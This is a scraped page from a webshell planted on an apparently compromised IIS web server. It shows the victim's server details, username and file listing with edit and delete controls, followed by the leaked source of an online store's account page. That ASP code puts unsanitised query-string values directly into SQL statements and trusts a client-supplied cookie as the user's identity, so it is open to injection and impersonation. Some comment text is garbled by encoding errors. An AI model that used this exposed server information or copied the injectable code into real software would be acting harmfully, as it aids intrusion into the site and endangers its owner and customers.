Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />


<title>myasc365</title>

<%
ID=Request.Querystring("ID")
TypeId=session("TypeId")
userid=session("userid")
if len(userid)=0 then
	userid=Request.Cookies("userid")
end if
Thispage ="http://" & Request.ServerVariables("SERVER_NAME")& Request.ServerVariables("URL")

'ɾ������
if request("Action")="deleteorder" then
orderid=request.QueryString("orderid")

set rs11=server.createobject("adodb.recordset")
sql11="select * from orderlist where orderid='"&orderid&"'"
rs11.open sql11,conn,3,3
if not rs11.eof then
rs11("orderstate")=1
rs11.update
rs11.close
set rs11=nothing
conn.close
set conn=nothing
Response.write"<script>window.location.href=""myaccount.asp"";</script>"
end if
end if

if request("Action")="deletewatch" then
watchid=request.QueryString("watchid")
sql11="delete * from pricewatch where id="&watchid&""
conn.Execute(sql11)
conn.close
set conn=nothing
Response.write"<script>window.location.href=""myaccount.asp?ID=MyPriceWatch"";</script>"
end if

%>
<style type="text/css">

</style>
</head>
<body style="margin:0 auto; text-align:center; width:1000px;background-color:#F1F1F1;">
<table width="1000" border="0"  style="background-color:#FFFFFF">
<tr>
<td>
<%
server.Execute("head.asp")
%></td>
</tr>
<tr>
<td>
<%
if len(userid)>0 then
%>

<table style=" width:1000px">
    <tr>
      <th width="182" valign="top" style="height:80px; text-align:left;" scope="col">
	  <div style="margin-top:50px; margin-left:30px; width:150px"><a href="myaccount.asp?ID=MyAsc365" class="STYLE21">My Orders</a></div>
	  <div style="margin-top:20px; margin-left:30px;width:150px"><a href="myaccount.asp?ID=MyAsc365address" class="STYLE21">Address</a></div>
	  <div style="margin-top:20px; margin-left:30px;width:150px"><a href="myaccount.asp?ID=MyAsc365FAQ" class="STYLE21">Message</a></div>
	  <div style="margin-top:20px; margin-left:30px;width:150px"><a href="myaccount.asp?ID=MyPriceWatch" class="STYLE21">Watch List</a></div>
	  </th>
	  <th width="796" scope="col"  style="text-align:center; vertical-align:top" >
        <%
		userid=session("userid")
		if len(userid)=0 then
	       userid=Request.Cookies("userid")
	    end if
		id=request.QueryString("ID")
		if len(userid)=0 then
		%>
		<div style="width:800px">
		<%
		server.Execute("register3.asp")
		%>
		</div>
		<%
		else
		if id="MyAsc365address" then
		%>
		<div style="width:800px">
		
		</div>
		<%
		elseif id="MyPriceWatch" then
		server.Execute("mywatch.asp")
		elseif id="MyAsc365FAQ" then
		%>
		
		<%
		elseif id = "MyAsc365Reply" then
		%>
		
		<%
		else
		server.Execute("myorders.asp")
           %>
		   <%
		end if
	    end if
        %>	  
		</th>
    </tr>
  </table>
  <%
  else
	server.Execute("register1.asp")
  end if
  %>
</td>
</tr>
<tr>
<td>
<div id="bottomdiv" style=" width:1000px; text-align:center">
<%
server.Execute("bottom.asp")
%>
</div>
</td>
</tr>
</table>

</body>
</html>